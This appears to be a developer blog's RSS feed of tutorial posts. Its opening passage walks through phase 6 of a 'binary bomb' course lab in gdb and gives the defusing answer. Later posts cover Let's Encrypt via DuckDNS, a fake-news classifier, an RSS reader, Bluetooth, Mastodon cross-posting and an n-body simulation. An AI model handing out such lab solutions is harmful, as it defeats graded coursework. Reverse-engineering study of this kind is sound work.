  1. Initialise register and point to first number in sequence
  2. Adjust number(s): 2.1. mov (%r14),%eax -> load the current number in the sequence 2.2. sub $0x1,%eax -> decrement number by 1
  3. Validation 3.1. cmp $0x5,%eax: This compares the adjusted value in %eax with 5. 3.2. ja 0x5555555558d1 <phase_6+56>: jump if given value is > 5 or < 0

=> All numbers should be between 1 and 6.

   0x00005555555559a9 <+272>:   cmp    $0x5,%r15d
   0x00005555555559ad <+276>:   jg     0x5555555558f9 <phase_6+96>

This checks if the value stored in %r15 is > 5, if it is then it jumps somewhere else. This validates our assumption that %r15 is acting as a counter.

   0x00005555555559b3 <+282>:   mov    %r15,%rbx
   0x00005555555559b6 <+285>:   jmp    0x5555555558e8 <phase_6+79>

Let us jump to +79

   0x00005555555558e8 <+79>:    mov    0x0(%r13,%rbx,4),%eax
   0x00005555555558ed <+84>:    cmp    %eax,0x0(%rbp)
   0x00005555555558f0 <+87>:    jne    0x5555555558db <phase_6+66>
   0x00005555555558f2 <+89>:    call   0x555555555d4a <explode_bomb>
   0x00005555555558f7 <+94>:    jmp    0x5555555558db <phase_6+66>

This section deals with checking if all the numbers in the sequence are unique or not. Thus, we need to ensure out 6 digits are unique

   0x00005555555558db <+66>:    add    $0x1,%rbx // Increments by 1
   0x00005555555558df <+70>:    cmp    $0x5,%ebx 
   0x00005555555558e2 <+73>:    jg     0x55555555598f <phase_6+246> // Jump if > 5 (Loop iterations are complete)
   0x00005555555558e8 <+79>:    mov    0x0(%r13,%rbx,4),%eax 
   0x00005555555558ed <+84>:    cmp    %eax,0x0(%rbp)
   0x00005555555558f0 <+87>:    jne    0x5555555558db <phase_6+66> // Again, check if the number being seen is unique

Now we know that the numbers are unique, between 1-6 (inclusive).

After stepping through the instructions, we can also see that the numbers are being transformed: * By subtracting it from 7 (mov $0x7,%ecx followed by sub (%r12),%eax) * This effectively maps the numbers as follows: 1 to 6, 2 to 5, 3 to 4, 4 to 3, 5 to 2, and 6 to 1.

Let us try to figure out what 0x0000555555555928 <+143>: lea 0x3d01(%rip),%rdx # 0x555555559630 <node1> is:

(gdb) x/30wx 0x555555559630
0x555555559630 <node1>: 0x000000d9      0x00000001      0x55559640      0x00005555
0x555555559640 <node2>: 0x000003ab      0x00000002      0x55559650      0x00005555
0x555555559650 <node3>: 0x0000014f      0x00000003      0x55559660      0x00005555
0x555555559660 <node4>: 0x000000a1      0x00000004      0x55559670      0x00005555
0x555555559670 <node5>: 0x000001b3      0x00000005      0x55559120      0x00005555
0x555555559680 <host_table>:    0x555573f5      0x00005555      0x5555740f      0x00005555
0x555555559690 <host_table+16>: 0x55557429      0x00005555      0x00000000      0x00000000
0x5555555596a0 <host_table+32>: 0x00000000      0x00000000
(gdb) x/30wx 0x555555559120
0x555555559120 <node6>: 0x000002da      0x00000006      0x00000000      0x00000000
0x555555559130: 0x00000000      0x00000000      0x00000000      0x00000000
0x555555559140 <userid>:        0x61767861      0x38383535      0x00000000      0x00000000
0x555555559150 <userid+16>:     0x00000000      0x00000000      0x00000000      0x00000000
0x555555559160 <userid+32>:     0x00000000      0x00000000      0x00000000      0x00000000
0x555555559170 <userid+48>:     0x00000000      0x00000000      0x00000000      0x00000000
0x555555559180 <userid+64>:     0x00000000      0x00000000      0x00000000      0x00000000
0x555555559190 <userid+80>:     0x00000000      0x00000000
(gdb) 

It appears that this is a linked list. With roughly the following structure:

struct node {
    int value;
    int index;
    struct node *next;
};

Let us convert the values into decimal:

0x000000d9 -> 217
0x000003ab -> 939
0x0000014f -> 335
0x000000a1 -> 161
0x000001b3 -> 435
0x000002da -> 730

Missing Notes

To re-arrange this linked list in descending order, we would arrange it as follows:

Node 2 -> Node 6 -> Node 5 -> Node 3 -> Node 1 -> Node 4

Since we also need to apply the transformation: 7 - x:

(7-2) -> (7-6) -> ... -> (7-4) 

Final answer: 5 1 2 4 6 3

Let us try the answer:

...
That's number 2.  Keep going!
Halfway there!
So you got that one.  Try this one.
Good work!  On to the next...
5 1 2 4 6 3

Breakpoint 1, 0x0000555555555899 in phase_6 ()
(gdb) continue
Continuing.
Congratulations! You've defused the bomb!
Your instructor has been notified and will verify your solution.
[Inferior 1 (process 1754) exited normally]

But, what about the secret phase?

]]>
https://web.navan.dev/posts/2020-11-17-Lets-Encrypt-DuckDns.html Generating HTTPS Certificate using DNS a Challenge through Let's Encrypt Short code-snippet to generate HTTPS certificates using the DNS Challenge through Lets Encrypt for a web-server using DuckDNS. https://web.navan.dev/posts/2020-11-17-Lets-Encrypt-DuckDns.html Tue, 17 Nov 2020 15:04:00 -0000 Generating HTTPS Certificate using DNS a Challenge through Let's Encrypt

I have a Raspberry-Pi running a Flask app through Gunicorn (Ubuntu 20.04 LTS). I am exposing it to the internet using DuckDNS.

Dependencies

sudo apt update && sudo apt install certbot -y

Get the Certificate

sudo certbot certonly --manual --preferred-challenges dns-01 --email senpai@email.com -d mydomain.duckdns.org

After you accept that you are okay with you IP address being logged, it will prompt you with updating your dns record. You need to create a new TXT record in the DNS settings for your domain.

For DuckDNS users it is as simple as entering this URL in their browser:

http://duckdns.org/update?domains=mydomain&token=duckdnstoken&txt=certbotdnstxt

Where mydomain is your DuckDNS domain, duckdnstoken is your DuckDNS Token ( Found on the dashboard when you login) and certbotdnstxt is the TXT record value given by the prompt.

You can check if the TXT records have been updated by using the dig command:

dig navanspi.duckdns.org TXT
; <<>> DiG 9.16.1-Ubuntu <<>> navanspi.duckdns.org TXT
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27592
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 65494
;; QUESTION SECTION:
;navanspi.duckdns.org.        IN    TXT

;; ANSWER SECTION:
navanspi.duckdns.org.    60    IN    TXT    "4OKbijIJmc82Yv2NiGVm1RmaBHSCZ_230qNtj9YA-qk"

;; Query time: 275 msec
;; SERVER: 127.0.0.53#53(127.0.0.53)
;; WHEN: Tue Nov 17 15:23:15 IST 2020
;; MSG SIZE  rcvd: 105

DuckDNS almost instantly propagates the changes but for other domain hosts, it could take a while.

Once you can ensure that the TXT record changes has been successfully applied and is visible through the dig command, press enter on the Certbot prompt and your certificate should be generated.

Renewing

As we manually generated the certificate certbot renew will fail, to renew the certificate you need to simply re-generate the certificate using the above steps.

Using the Certificate with Gunicorn

Example Gunicorn command for running a web-app:

gunicorn api:app -k uvicorn.workers.UvicornWorker -b 0.0.0.0:7589

To use the certificate with it, simply copy the cert.pem and privkey.pem to your working directory ( change the appropriate permissions ) and include them in the command

gunicorn api:app -k uvicorn.workers.UvicornWorker -b 0.0.0.0:7589 --certfile=cert.pem --keyfile=privkey.pem

Caveats with copying the certificate: If you renew the certificate you will have to re-copy the files

]]>
https://web.navan.dev/posts/2019-12-22-Fake-News-Detector.html Building a Fake News Detector with Turicreate In this tutorial we will build a fake news detecting app from scratch, using Turicreate for the machine learning model and SwiftUI for building the app https://web.navan.dev/posts/2019-12-22-Fake-News-Detector.html Sun, 22 Dec 2019 11:10:00 -0000 Building a Fake News Detector with Turicreate

In this tutorial we will build a fake news detecting app from scratch, using Turicreate for the machine learning model and SwiftUI for building the app

Note: These commands are written as if you are running a jupyter notebook.

Building the Machine Learning Model

Data Gathering

To build a classifier, you need a lot of data. George McIntire (GH: @joolsa) has created a wonderful dataset containing the headline, body and whether it is fake or real. Whenever you are looking for a dataset, always try searching on Kaggle and GitHub before you start building your own

Dependencies

I used a Google Colab instance for training my model. If you also plan on using Google Colab then I recommend choosing a GPU Instance (It is Free) This allows you to train the model on the GPU. Turicreate is built on top of Apache's MXNet Framework, for us to use GPU we need to install a CUDA compatible MXNet package.

!pip install turicreate
!pip uninstall -y mxnet
!pip install mxnet-cu100==1.4.0.post0

If you do not wish to train on GPU or are running it on your computer, you can ignore the last two lines

Downloading the Dataset

!wget -q "https://github.com/joolsa/fake_real_news_dataset/raw/master/fake_or_real_news.csv.zip"
!unzip fake_or_real_news.csv.zip

Model Creation

import turicreate as tc
tc.config.set_num_gpus(-1) # If you do not wish to use GPUs, set it to 0
dataSFrame = tc.SFrame('fake_or_real_news.csv')

The dataset contains a column named "X1", which is of no use to us. Therefore, we simply drop it

dataSFrame.remove_column('X1')

Splitting Dataset

train, test = dataSFrame.random_split(.9)

Training

model = tc.text_classifier.create(
    dataset=train,
    target='label',
    features=['title','text']
)
+-----------+----------+-----------+--------------+-------------------+---------------------+
| Iteration | Passes   | Step size | Elapsed Time | Training Accuracy | Validation Accuracy |
+-----------+----------+-----------+--------------+-------------------+---------------------+
| 0         | 2        | 1.000000  | 1.156349     | 0.889680          | 0.790036            |
| 1         | 4        | 1.000000  | 1.359196     | 0.985952          | 0.918149            |
| 2         | 6        | 0.820091  | 1.557205     | 0.990260          | 0.914591            |
| 3         | 7        | 1.000000  | 1.684872     | 0.998689          | 0.925267            |
| 4         | 8        | 1.000000  | 1.814194     | 0.999063          | 0.925267            |
| 9         | 14       | 1.000000  | 2.507072     | 1.000000          | 0.911032            |
+-----------+----------+-----------+--------------+-------------------+---------------------+

Testing the Model

est_predictions = model.predict(test)
accuracy = tc.evaluation.accuracy(test['label'], test_predictions)
print(f'Topic classifier model has a testing accuracy of {accuracy*100}% ', flush=True)
Topic classifier model has a testing accuracy of 92.3076923076923%

We have just created our own Fake News Detection Model which has an accuracy of 92%!

example_text = {"title": ["Middling ‘Rise Of Skywalker’ Review Leaves Fan On Fence About Whether To Threaten To Kill Critic"], "text": ["Expressing ambivalence toward the relatively balanced appraisal of the film, Star Wars fan Miles Ariely admitted Thursday that an online publication’s middling review of The Rise Of Skywalker had left him on the fence about whether he would still threaten to kill the critic who wrote it. “I’m really of two minds about this, because on the one hand, he said the new movie fails to live up to the original trilogy, which makes me at least want to throw a brick through his window with a note telling him to watch his back,” said Ariely, confirming he had already drafted an eight-page-long death threat to Stan Corimer of the website Screen-On Time, but had not yet decided whether to post it to the reviewer’s Facebook page. “On the other hand, though, he commended J.J. Abrams’ skillful pacing and faithfulness to George Lucas’ vision, which makes me wonder if I should just call the whole thing off. Now, I really don’t feel like camping outside his house for hours. Maybe I could go with a response that’s somewhere in between, like, threatening to kill his dog but not everyone in his whole family? I don’t know. This is a tough one.” At press time, sources reported that Ariely had resolved to wear his Ewok costume while he murdered the critic in his sleep."]}
example_prediction = model.classify(tc.SFrame(example_text))
print(example_prediction, flush=True)
+-------+--------------------+
| class |    probability     |
+-------+--------------------+
|  FAKE | 0.9245648658345308 |
+-------+--------------------+
[1 rows x 2 columns]

Exporting the Model

model_name = 'FakeNews'
coreml_model_name = model_name + '.mlmodel'
exportedModel = model.export_coreml(coreml_model_name)

Note: To download files from Google Colab, simply click on the files section in the sidebar, right click on filename and then click on download

Link to Colab Notebook

Building the App using SwiftUI

Initial Setup

First we create a single view app (make sure you check the use SwiftUI button)

Then we copy our .mlmodel file to our project (Just drag and drop the file in the XCode Files Sidebar)

Our ML Model does not take a string directly as an input, rather it takes bag of words as an input. DescriptionThe bag-of-words model is a simplifying representation used in NLP, in this text is represented as a bag of words, without any regard for grammar or order, but noting multiplicity

We define our bag of words function

func bow(text: String) -> [String: Double] {
        var bagOfWords = [String: Double]()

        let tagger = NSLinguisticTagger(tagSchemes: [.tokenType], options: 0)
        let range = NSRange(location: 0, length: text.utf16.count)
        let options: NSLinguisticTagger.Options = [.omitPunctuation, .omitWhitespace]
        tagger.string = text

        tagger.enumerateTags(in: range, unit: .word, scheme: .tokenType, options: options) { _, tokenRange, _ in
            let word = (text as NSString).substring(with: tokenRange)
            if bagOfWords[word] != nil {
                bagOfWords[word]! += 1
            } else {
                bagOfWords[word] = 1
            }
        }

        return bagOfWords
    }

We also declare our variables

@State private var title: String = ""
@State private var headline: String = ""
@State private var alertTitle = ""
@State private var alertText = ""
@State private var showingAlert = false

Finally, we implement a simple function which reads the two text fields, creates their bag of words representation and displays an alert with the appropriate result

Complete Code

import SwiftUI

struct ContentView: View {
    @State private var title: String = ""
    @State private var headline: String = ""

    @State private var alertTitle = ""
    @State private var alertText = ""
    @State private var showingAlert = false

    var body: some View {
        NavigationView {
            VStack(alignment: .leading) {
                Text("Headline").font(.headline)
                TextField("Please Enter Headline", text: $title)
                    .lineLimit(nil)
                Text("Body").font(.headline)
                TextField("Please Enter the content", text: $headline)
                .lineLimit(nil)
            }
                .navigationBarTitle("Fake News Checker")
            .navigationBarItems(trailing:
                Button(action: classifyFakeNews) {
                    Text("Check")
                })
            .padding()
                .alert(isPresented: $showingAlert){
                    Alert(title: Text(alertTitle), message: Text(alertText), dismissButton: .default(Text("OK")))
            }
        }

    }

    func classifyFakeNews(){
        let model = FakeNews()
        let myTitle = bow(text: title)
        let myText = bow(text: headline)
        do {
            let prediction = try model.prediction(title: myTitle, text: myText)
            alertTitle = prediction.label
            alertText = "It is likely that this piece of news is \(prediction.label.lowercased())."
            print(alertText)
        } catch {
            alertTitle = "Error"
            alertText = "Sorry, could not classify if the input news was fake or not."
        }

        showingAlert = true
    }
    func bow(text: String) -> [String: Double] {
        var bagOfWords = [String: Double]()

        let tagger = NSLinguisticTagger(tagSchemes: [.tokenType], options: 0)
        let range = NSRange(location: 0, length: text.utf16.count)
        let options: NSLinguisticTagger.Options = [.omitPunctuation, .omitWhitespace]
        tagger.string = text

        tagger.enumerateTags(in: range, unit: .word, scheme: .tokenType, options: options) { _, tokenRange, _ in
            let word = (text as NSString).substring(with: tokenRange)
            if bagOfWords[word] != nil {
                bagOfWords[word]! += 1
            } else {
                bagOfWords[word] = 1
            }
        }

        return bagOfWords
    }
}

struct ContentView_Previews: PreviewProvider {
    static var previews: some View {
        ContentView()
    }
}
]]>
https://web.navan.dev/posts/2020-12-1-HTML-JS-RSS-Feed.html RSS Feed written in HTML + JavaScript Short code-snippet for an RSS feed, written in HTML and JavaScript https://web.navan.dev/posts/2020-12-1-HTML-JS-RSS-Feed.html Tue, 01 Dec 2020 20:52:00 -0000 RSS Feed written in HTML + JavaScript

If you want to directly open the HTML file in your browser after saving, don't forget to set CORS_PROXY=""

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>
        RSS Feed
    </title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
</head>
<body>

<h1 align="center" class="display-1">RSS Feed</h1>
<main>
    <div class="container">
    <div class="list-group pb-4" id="contents"></div>
<div id="feed">
</div></div>
</main>

<script src="https://gitcdn.xyz/repo/rbren/rss-parser/master/dist/rss-parser.js"></script>
<script>

const feeds = {
    "BuzzFeed - India": {
      "link":"https://www.buzzfeed.com/in.xml",
      "summary":true
    },
    "New Yorker": {
      "link":"http://www.newyorker.com/feed/news",
    },
    "Vox":{
      "link":"https://www.vox.com/rss/index.xml",
      "limit": 3
    },
    "r/Jokes":{
      "link":"https://reddit.com/r/Jokes/hot/.rss?sort=hot",
      "ignore": ["repost","discord"]
    }
}

const config_extra = {
"Responsive-Images": true,
"direct-link": false,
"show-date":false,
"left-column":false,
"defaults": {
  "limit": 5,
  "summary": true
}
}

const CORS_PROXY = "https://cors-anywhere.herokuapp.com/"

var contents_title = document.createElement("h2")
contents_title.textContent = "Contents"
contents_title.classList.add("pb-1")
document.getElementById("contents").appendChild(contents_title)

async function myfunc(key){

  var count_lim = feeds[key]["limit"]
  var count_lim = (count_lim === undefined) ? config_extra["defaults"]["limit"] : count_lim

  var show_summary = feeds[key]["summary"]
  var show_summary = (show_summary === undefined) ? config_extra["defaults"]["summary"] : show_summary

  var ignore_tags = feeds[key]["ignore"]
  var ignore_tags = (ignore_tags === undefined) ? [] : ignore_tags

  var contents = document.createElement("a")
  contents.href = "#" + key
  contents.classList.add("list-group-item","list-group-item-action")
  contents.textContent = key
  document.getElementById("contents").appendChild(contents)
  var feed_div = document.createElement("div")
  feed_div.id = key
  feed_div.setAttribute("id", key);
  var title = document.createElement("h2");
  title.textContent = "From " + key;
  title.classList.add("pb-1")
  feed_div.appendChild(title)
  document.getElementById("feed").appendChild(feed_div)
  var parser = new RSSParser();
  var countPosts = 0
  parser.parseURL(CORS_PROXY + feeds[key]["link"], function(err, feed) {
    if (err) throw err;
    feed.items.forEach(function(entry) {
      if (countPosts < count_lim) {

      var skip = false
      for(var i = 0; i < ignore_tags.length; i++) {
        if (entry.title.includes(ignore_tags[i])){
          var skip = true
        } else if (entry.content.includes(ignore_tags[i])){
          var skip = true
        }
      }

      if (!skip) {

      var node = document.createElement("div");
      node.classList.add("card","mb-3");
      var row = document.createElement("div")
      row.classList.add("row","no-gutters")

      if (config_extra["left-column"]){
      var left_col = document.createElement("div")
      left_col.classList.add("col-md-2")
      var left_col_body = document.createElement("div")
      left_col_body.classList.add("card-body")
      }

      var right_col = document.createElement("div")
      if (config_extra["left-column"]){
        right_col.classList.add("col-md-10")
      }
      var node_title = document.createElement("h5")

      node_title.classList.add("card-header")
      node_title.innerHTML = entry.title

      node_body = document.createElement("div")
      node_body.classList.add("card-body")

      node_content = document.createElement("p")

      if (show_summary){
        node_content.innerHTML = entry.content
      }
      node_content.classList.add("card-text")

      if (config_extra["direct-link"]){
      node_link = document.createElement("p")
      node_link.classList.add("card-text")
      node_link.innerHTML = "<b>Link:</b> <a href='" + entry.link +"'>Direct Link</a>"
      if (config_extra["left-column"]){
      left_col_body.appendChild(node_link)
        } else {
          node_content.appendChild(node_link)
        }
      }

      if (config_extra["show-date"]){
        node_date = document.createElement("p")
        node_date.classList.add("card-text")
        node_date.innerHTML = "<p><b>Date: </b>" + entry.pubDate + "</p>"
        if (config_extra["left-column"]){
        left_col_body.appendChild(node_date)
          } else {
            node_content.appendChild(node_date)

        }
      }

      node.appendChild(node_title)

      node_body.appendChild(node_content)

      right_col.appendChild(node_body)

      if (config_extra["left-column"]){
        left_col.appendChild(left_col_body)
        row.appendChild(left_col)
      }

      row.appendChild(right_col)

      node.appendChild(row)

      document.getElementById(key).appendChild(node)
      countPosts+=1
    }
    }
  })

  if (config_extra["Responsive-Images"]){
  var inputs = document.getElementsByTagName('img')
      for(var i = 0; i < inputs.length; i++) {
        inputs[i].classList.add("img-fluid")
      }
  }

  })

  return true
}
(async () => {
for(var key in feeds) {
  let result = await myfunc(key);
}})();

</script>
<noscript>Uh Oh! Your browser does not support JavaScript or JavaScript is currently disabled. Please enable JavaScript or switch to a different browser.</noscript>
</body></html>
]]>
https://web.navan.dev/posts/2020-01-19-Connect-To-Bluetooth-Devices-Linux-Terminal.html How to setup Bluetooth on a Raspberry Pi Connecting to Bluetooth Devices using terminal, tested on Raspberry Pi Zero W https://web.navan.dev/posts/2020-01-19-Connect-To-Bluetooth-Devices-Linux-Terminal.html Sun, 19 Jan 2020 15:27:00 -0000 How to setup Bluetooth on a Raspberry Pi

This was tested on a Raspberry Pi Zero W

Enter in the Bluetooth Mode

pi@raspberrypi:~ $ bluetoothctl

[bluetooth]# agent on

[bluetooth]# default-agent

[bluetooth]# scan on

To Pair

While being in bluetooth mode

[bluetooth]# pair XX:XX:XX:XX:XX:XX

To Exit out of bluetoothctl anytime, just type exit

]]>
https://web.navan.dev/posts/2022-12-25-blog-to-toot.html Posting blogs as Mastodon Toots Cross posting blog posts to Mastodon https://web.navan.dev/posts/2022-12-25-blog-to-toot.html Sun, 25 Dec 2022 17:32:00 -0000 Posting blogs as Mastodon Toots

What is better than posting a blog post? Posting about your posting pipeline. I did this previously with Twitter.

the elephant in the room

mastodon.social does not support any formatting in the status posts. Yes, there are other instances which have patches to enable features such as markdown formatting, but there is no upstream support.

time to code

My website is built using a really simple static site generator I wrote in Python. Therefore, each post is self-contained in a Markdown file with the necessary metadata.

I am going to specify the path to the blog post, parse it and then publish it.

I initially planned on having a command line parser and some more flags.

interacting with mastodon

I ended up using mastodon.py rather than crafting requests by hand. Each statuspost/toot call returns a statusid that can be then used as an inreplyto parameter.

For the code snippets, seeing that mastodon does not support native formatting, I am resorting to using ray-so.

reading markdown

I am using a bunch of regex hacks, and reading the blog post line by line. Because there is no markdown support, I append all the links to the end of the toot. For images, I upload them and attach them to the toot. The initial toot is generated based off the title and the tags associated with the post.

# Regexes I am using

markdown_image = r'(?:!\[(.*?)\]\((.*?)\))'
markdown_links = r'(?:\[(.*?)\]\((.*?)\))'
tags_within_metadata = r"tags: ([\w,\s]+)"
metadata_regex = r"---\s*\n(.*?)\n---\s*\n"

This is useful when I want to get the exact data I want. In this case, I can extract the tags from the front matter.

metadata = re.search(metadata_regex, markdown_content, re.DOTALL)
if metadata:
    tags_match = re.search(r"tags: ([\w,\s]+)", metadata.group(1))
    if tags_match:
        tags = tags_match.group(1).split(",")

code snippet support

I am running akashrchandran/Rayso-API.

import requests

def get_image(code, language: str = "python", title: str = "Code Snippet"):
    params = (
        ('code', code),
        ('language', language),
        ('title', title),
    )

    response = requests.get('http://localhost:3000/api', params=params)

    return response.content

threads! threads! threads!

Even though mastodon does officially have a higher character limit than Twitter. I prefer the way threads look.

result

Everything does seem to work! Seeing that you are reading this on Mastodon, and that I have updated this section.

what's next?

Here is the current code:

from mastodon import Mastodon
from mastodon.errors import MastodonAPIError
import requests
import re

mastodon = Mastodon(
    access_token='reeeeee',
    api_base_url="https://mastodon.social"
    )

url_base = "https://web.navan.dev"
sample_markdown_file = "Content/posts/2022-12-25-blog-to-toot.md"

tags = []
toots = []
image_idx = 0
markdown_image = r'(?:!\[(.*?)\]\((.*?)\))'
markdown_links = r'(?:\[(.*?)\]\((.*?)\))'

def get_image(code, language: str = "python", title: str = "Code Snippet"):
    params = (
        ('code', code),
        ('language', language),
        ('title', title),
    )

    response = requests.get('http://localhost:3000/api', params=params)

    return response.content

class TootContent:
    def __init__(self, text: str = ""):
        self.text = text
        self.images = []
        self.links = []
        self.image_count = len(images)

    def __str__(self):
        toot_text = self.text
        for link in self.links:
            toot_text += " " + link
        return toot_text

    def get_text(self):
        toot_text = self.text
        for link in self.links:
            toot_text += " " + link
        return toot_text

    def get_length(self):
        length = len(self.text)
        for link in self.links:
            length += 23
        return length

    def add_link(self, link):
        if len(self.text) + 23 < 498:
            if link[0].lower() != 'h':
                link = url_base + link
            self.links.append(link)
            return True
        return False

    def add_image(self, image):

        if len(self.images) == 4:
            # will handle in future
            print("cannot upload more than 4 images per toot") 
            exit(1)
        # upload image and get id
        self.images.append(image)
        self.image_count = len(self.images)

    def add_text(self, text):
        if len(self.text + text) > 400:
            return False
        else:
            self.text += f" {text}"
            return True

    def get_links(self):
        print(len(self.links))


in_metadata = False
in_code_block = False

my_toots = []
text = ""
images = []
image_links = []
extra_links = []
tags = []

code_block = ""
language = "bash"

current_toot = TootContent()

metadata_regex = r"---\s*\n(.*?)\n---\s*\n"


with open(sample_markdown_file) as f:
    markdown_content = f.read()


metadata = re.search(metadata_regex, markdown_content, re.DOTALL)
if metadata:
    tags_match = re.search(r"tags: ([\w,\s]+)", metadata.group(1))
    if tags_match:
        tags = tags_match.group(1).split(",")


markdown_content = markdown_content.rsplit("---\n",1)[-1].strip()

for line in markdown_content.split("\n"):
    if current_toot.get_length() < 400:
        if line.strip() == '':
            continue
        if line[0] == '#':
            line = line.replace("#","".strip())
            if len(my_toots) == 0:
                current_toot.add_text(
                    f"{line}: a cross-posted blog post \n"
                    )
                hashtags = ""
                for tag in tags:
                    hashtags += f"#{tag.strip()},"
                current_toot.add_text(hashtags[:-1])
                my_toots.append(current_toot)
                current_toot = TootContent()
            else:
                my_toots.append(current_toot)
                current_toot = TootContent(text=f"{line.title()}:")
            continue
        else:
            if "```" in line:
                in_code_block = not in_code_block
                if in_code_block:
                    language = line.strip().replace("```",'')
                    continue
                else:
                    with open(f"code-snipped_{image_idx}.png","wb") as f:
                        f.write(get_image(code_block, language))
                    current_toot.add_image(f"code-snipped_{image_idx}.png")
                    image_idx += 1
                    code_block = ""
                continue
            if in_code_block:
                line = line.replace("   ","\t")
                code_block += line + "\n"
                continue
            if len(re.findall(markdown_image,line)) > 0:
                for image_link in re.findall(markdown_links, line):
                    image_link.append(image_link[1])
                    # not handled yet
                line = re.sub(markdown_image,"",line)
            if len(re.findall(markdown_links,line)) > 0:
                for link in re.findall(markdown_links, line):
                    if not (current_toot.add_link(link[1])):
                        extra_links.append(link[1])
                    line = line.replace(f'[{link[0]}]({link[1]})',link[0])
            if not current_toot.add_text(line):
                my_toots.append(current_toot)
                current_toot = TootContent(line)
    else:
        my_toots.append(current_toot)
        current_toot = TootContent()

my_toots.append(current_toot)

in_reply_to_id = None
for toot in my_toots:
    image_ids = []
    for image in toot.images:
        print(f"uploading image, {image}")
        try:
            image_id = mastodon.media_post(image)
            image_ids.append(image_id.id)
        except MastodonAPIError:
            print("failed to upload. Continuing...")
    if image_ids == []:
        image_ids = None

    in_reply_to_id = mastodon.status_post(
        toot.get_text(), in_reply_to_id=in_reply_to_id, media_ids=image_ids
        ).id

Not the best thing I have ever written, but it works!

]]>
https://web.navan.dev/posts/2023-04-30-n-body-simulation.html n-body solution generator n-body solution generator and solver https://web.navan.dev/posts/2023-04-30-n-body-simulation.html Sun, 30 Apr 2023 22:50:00 -0000 n-body solution generator

This post requires JavaScript to be viewed properly :(

Adapted from the Numerics Tutorial - kirklong/ThreeBodyBot. The Julia code has been rewritten in JavaScript.

Workflow:

  • Understand the problem
  • Visualise a basic orbit
  • Solve and plot the classic figure-8 orbit
  • Random n-body solution generator

To workaround memory issues, the simulations are only run on-demand when the user clicks the respective button. Scroll down to the bottom of the page to see the results.

The n-body problem

The n-body problem is a classic puzzle in physics (and thus astrophysics) and mathematics that deals with predicting the motion of multiple celestial objects that interact with each other through gravitational forces.

Imagine you are observing a cosmic dance between multiple celestial bodies, all tugging on one another as they move through space. The n-body problem aims to understand and predict the paths of these objects as they move through space.

When n=2, i.e we have only two objects, say the Earth and the Moon, we can easily apply Newtonian physics to predict their motion. However, when n>2, the problem becomes much more difficult to solve analytically.[1] This is because each object feels the gravitational pull from all other objects, and thus the equations of motion become coupled and non-linear.

As the number of objects increases, finding an exact solution becomes impossible, and we rely on analytical approximations.

Visualising a basic orbit

If we want to create a n-body simulation in our browser, we need to figure out how we are going to visualise the motion of the objects. There are a few ways to do this, but the easiest is to use Plotly.js, a JavaScript library for creating interactive graphs. (An alternative is to use the HTML5 canvas element).

/*
 * Earth - Sun Orbit Plot
 * Taken from Numerics tutorial
 */

const G = 6.67e-11;
const Msun = 2e30;
const AU = 1.5e11;
const v0 = Math.sqrt(G * Msun / AU); // SI

function dR(r, v) {
  const dv = [-G * Msun / Math.pow(r[0] ** 2 + r[1] ** 2, 3 / 2) * r[0], -G * Msun / Math.pow(r[0] ** 2 + r[1] ** 2, 3 / 2) * r[1]];
  const dr = [...v];
  return [dr, dv];
}

// initialize system
let r = [-AU, 0];
const theta = Math.atan2(r[1], r[0]);
let v = [-v0 * Math.sin(theta), v0 * Math.cos(theta)];

const t = Array.from({ length: 1001 }, (_, i) => i / 100 + 0.0); // years
const yearSec = 365 * 24 * 3600;
const dt = (t[1] - t[0]) * yearSec; // s
const x4Plot = Array.from({ length: t.length }, () => 0);
const y4Plot = Array.from({ length: t.length }, () => 0);

// integrate using RK4!
for (let i = 0; i < t.length; i++) {
  const k1 = dR(r, v).map(x => x.map(y => y * dt));
  const k2 = dR(r.map((ri, j) => ri + k1[0][j] / 2), v.map((vi, j) => vi + k1[1][j] / 2)).map(x => x.map(y => y * dt));
  const k3 = dR(r.map((ri, j) => ri + k2[0][j] / 2), v.map((vi, j) => vi + k2[1][j] / 2)).map(x => x.map(y => y * dt));
  const k4 = dR(r.map((ri, j) => ri + k3[0][j]), v.map((vi, j) => vi + k3[1][j])).map(x => x.map(y => y * dt));
  r = r.map((ri, j) => ri + (k1[0][j] + 2 * k2[0][j] + 2 * k3[0][j] + k4[0][j]) / 6);
  v = v.map((vi, j) => vi + (k1[1][j] + 2 * k2[1][j] + 2 * k3[1][j] + k4[1][j]) / 6);
  x4Plot[i] = r[0];
  y4Plot[i] = r[1];
}

// make data for plot
var sun = { x: 0, y: 0 };
const earth = { x: x4Plot.map(x => x / AU), y: y4Plot.map(y => y / AU) };
const circle = { x: Array.from({ length: 1001 }, (_, i) => Math.cos(i / 100 * 2 * Math.PI)), y: Array.from({ length: 1001 }, (_, i) => Math.sin(i / 100 * 2 * Math.PI)) };

This code simulates the orbit of Earth around the Sun, using a numerical method called the Runge-Kutta 4th order (RK4) method.

First, we define some constants:

G: the gravitational constant (6.67e-11 N m²/kg²) Msun: the mass of the Sun (2e30 kg) AU: an astronomical unit, the average distance between Earth and Sun (1.5e11 m) v0: the initial velocity of Earth, calculated from its distance to the Sun Next, the function dR takes the position r and velocity v of Earth as input and returns the rate of change in position (dr) and the rate of change in velocity (dv) using the gravitational force formula.

We then initialize the position r and velocity v of Earth, and create an array t that represents time in years, divided into 1001 steps. We also define yearSec as the number of seconds in a year and dt as the time step in seconds.

Now, we integrate the Earth's motion using the RK4 method. For each time step, we calculate the rates of change for position and velocity (k1, k2, k3, k4) and update Earth's position and velocity based on these. We store the updated position in x4Plot and y4Plot.

Finally, we normalize the position data by dividing it by the astronomical unit (AU) to make it more visually meaningful. We also create a circle for reference, which represents a perfect circular orbit. The code ends with the data for the Sun's position, Earth's orbit, and the reference circle ready to be plotted.

Plotting the orbit

Now that we have the data for the Sun's position, Earth's orbit, and the reference circle, we can plot them using Plotly.js.

    let traceSun = {
      x: [sun.x],
      y: [sun.y],
      mode: "markers",
      marker: {
        symbol: "star",
        size: 10,
        color: "gold",
      },
      name: "Sun",
    };

